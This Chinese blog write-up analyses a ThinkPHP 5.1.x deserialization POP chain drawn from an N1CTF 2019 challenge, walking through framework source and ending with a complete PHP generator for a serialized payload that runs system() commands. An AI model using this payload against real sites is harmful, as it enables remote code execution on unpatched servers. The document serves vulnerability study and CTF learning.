ThinkPHP反序列化pop链分析


前言

最近的比赛好多好多,真的让我好累,但是也充分看到自己不够强,看到了在比赛场上Web题反而不是那个最容易那分的点,各位师傅们的题都分外用心,自己也不能止步不前了,不过有要好好思考如何不如实战中……

从NU1L2019的一题的pop链开始

Smi1e师傅在题目中给出了自己挖掘的一条几乎全新的ThinkPHP pop链来作为题解,可谓非常的用心,让我这个以往只能在题目中以给的class寻找pop链一记重拳,虽然在国赛中也有个Larval的组件0day,不会底层框架,活不下去了

挖掘思路

  • 寻找魔术方法__wakeup,__destruct这两个是在反序列化中必定会触发
  • 寻找跳板__toString,__set,__get,__iset
  • 寻找__call,作为最后的RCE的入口
  • 回溯每一步确定每个点都可控

    PS:本文以ThinkPHP5.1x为例
    全局查找__destruct后,我们以Windows.php作为入口
    1.png

    1
    2
    3
    4
    5
    6
    7
    8
    9
     class Windows extends Pipes
    {

    /** @var array */
    private $files = [];
    /** @var array */
    private $fileHandles = [];
    ……
    }

    因此$files可控,跟进函数

    1
    2
    3
    4
    5
    6
    7
    8
    9
    private function removeFiles()
    {
    foreach ($this->files as $filename) {
    if (file_exists($filename)) {
    @unlink($filename);
    }
    }
    $this->files = [];
    }

    这里有一个点是file_exists()这个函数很特别
    2.png
    我们知道当一个class被当做字符串处理是就会触发__toString这个方法,因此在全局搜索
    3.png

    继续跟进

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
     trait Conversion
    {
    ....
    public function __toString()
    {
    return $this->toJson();
    }

    // JsonSerializable
    public function jsonSerialize()
    {
    return $this->toArray();
    }

    进入关键函数

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    public function toArray()
    {
    $item = [];
    $hasVisible = false;

    foreach ($this->visible as $key => $val) {
    if (is_string($val)) {
    if (strpos($val, '.')) {
    list($relation, $name) = explode('.', $val);
    $this->visible[$relation][] = $name;
    } else {
    $this->visible[$val] = true;
    $hasVisible = true;
    }
    unset($this->visible[$key]);
    }
    }

    foreach ($this->hidden as $key => $val) {
    if (is_string($val)) {
    if (strpos($val, '.')) {
    list($relation, $name) = explode('.', $val);
    $this->hidden[$relation][] = $name;
    } else {
    $this->hidden[$val] = true;
    }
    unset($this->hidden[$key]);
    }
    }

    // 合并关联数据
    $data = array_merge($this->data, $this->relation);

    foreach ($data as $key => $val) {
    if ($val instanceof Model || $val instanceof ModelCollection) {
    // 关联模型对象
    if (isset($this->visible[$key]) && is_array($this->visible[$key])) {
    $val->visible($this->visible[$key]);
    } elseif (isset($this->hidden[$key]) && is_array($this->hidden[$key])) {
    $val->hidden($this->hidden[$key]);
    }
    // 关联模型对象
    if (!isset($this->hidden[$key]) || true !== $this->hidden[$key]) {
    $item[$key] = $val->toArray();
    }
    } elseif (isset($this->visible[$key])) {
    $item[$key] = $this->getAttr($key);
    } elseif (!isset($this->hidden[$key]) && !$hasVisible) {
    $item[$key] = $this->getAttr($key);
    }
    }

    // 追加属性(必须定义获取器)
    if (!empty($this->append)) {
    foreach ($this->append as $key => $name) {
    if (is_array($name)) {
    // 追加关联对象属性
    $relation = $this->getRelation($key);

    if (!$relation) {
    $relation = $this->getAttr($key);
    if ($relation) {
    $relation->visible($name);
    }
    }

    $item[$key] = $relation ? $relation->append($name)->toArray() : [];
    } elseif (strpos($name, '.')) {
    list($key, $attr) = explode('.', $name);
    // 追加关联对象属性
    $relation = $this->getRelation($key);
    //以下这个if是在thinkphp5.2中是被删除了
    if (!$relation) {
    $relation = $this->getAttr($key);
    if ($relation) {
    $relation->visible([$attr]);
    }
    }

    $item[$key] = $relation ? $relation->append([$attr])->toArray() : [];
    } else {
    $item[$name] = $this->getAttr($name, $item);
    }
    }
    }

    return $item;
    }

    这里我们在进行筛选的时候需要注意两点

  • 变量的内容需要可控

  • 可控点可以引入新的类或者再后面的代码中被调用触发__call,或是动态拼接的导致的函数执行
    4.png
    这里就是个例子,动态函数可以使用全局函数,而$this->func这个方式只能调用class内部的function
    经过一番搜寻,我们跟进getAttr()这个函数
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    public function getAttr($name, &$item = null)
    {
    try {
    $notFound = false;
    $value = $this->getData($name);
    } catch (InvalidArgumentException $e) {
    $notFound = true;
    $value = null;
    }

    // 检测属性获取器
    $fieldName = Loader::parseName($name);
    $method = 'get' . Loader::parseName($name, 1) . 'Attr';

    if (isset($this->withAttr[$fieldName])) {
    if ($notFound && $relation = $this->isRelationAttr($name)) {
    $modelRelation = $this->$relation();
    $value = $this->getRelationData($modelRelation);
    }

    $closure = $this->withAttr[$fieldName];
    $value = $closure($value, $this->data);
    }

这里很$value = $closure($value, $this->data);很容易引起我们的注意,这是一个动态函数的生成,如果这里的参数完全可控,我们就可以进行RCE了,这时候我们进行逆推的方式,来构造pop链
6.png

由此我们就可以构造payload了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
<?php
namespace think\process\pipes {
class Windows
{
private $files;
public function __construct($files)
{
$this->files = array($files);
}
}
}

namespace think\model\concern {
trait Conversion
{
protected $append = array("pf" => "1");
}

trait Attribute
{
private $data;
private $withAttr = array("pf" => "system");

public function get($system)
{
$this->data = array("pf" => "$system");
}
}
}
namespace think {
abstract class Model
{
use model\concern\Attribute;
use model\concern\Conversion;
}
}

namespace think\model{
use think\Model;
class Pivot extends Model
{
public function __construct($system)
{
$this->get($system);
}
}
}

namespace {
$Conver = new think\model\Pivot("echo pftcl");

$payload = new think\process\pipes\Windows($Conver);
echo serialize($payload)."\r\n";
echo urlencode(serialize($payload));
}
?>

这里有三个点需要注意

  • trait是php的一种代码复用机制,类似于一个组件,必须通过use来依附于一个类上才能生效,而那个类就获得整个trait全部的function和参数,而abstract class则是必须要实例化一个class,所以我们这里寻找到了继承与Model的Provit
  • 在thinkphp5.1x 和 5.2x中这里存在细微的差别

    1
    2
    3
    4
    5
    6
    //thinkphp 5.1
    $fieldName = Loader::parseName($name);
    $method = 'get' . Loader::parseName($name, 1) . 'Attr';
    //thinkphp 5.2
    $fieldName = $this->getRealFieldName($name);
    $method = 'get' . App::parseName($name, 1) . 'Attr';

    这里有细微的差别,如果要进行同杀的话需要保证自己的payload中,必须不使用大写的字母。

    • php中如果一个函数接受了超过了自己可以接受上限的参数数量,那么后面的参数将会被省略。

5.png

参考链接

https://github.com/Nu1LCTF/n1ctf-2019/tree/master/WEB/sql_manage
https://blog.riskivy.com/%E6%8C%96%E6%8E%98%E6%9A%97%E8%97%8Fthinkphp%E4%B8%AD%E7%9A%84%E5%8F%8D%E5%BA%8F%E5%88%97%E5%88%A9%E7%94%A8%E9%93%BE/?from=timeline&isappinstalled=0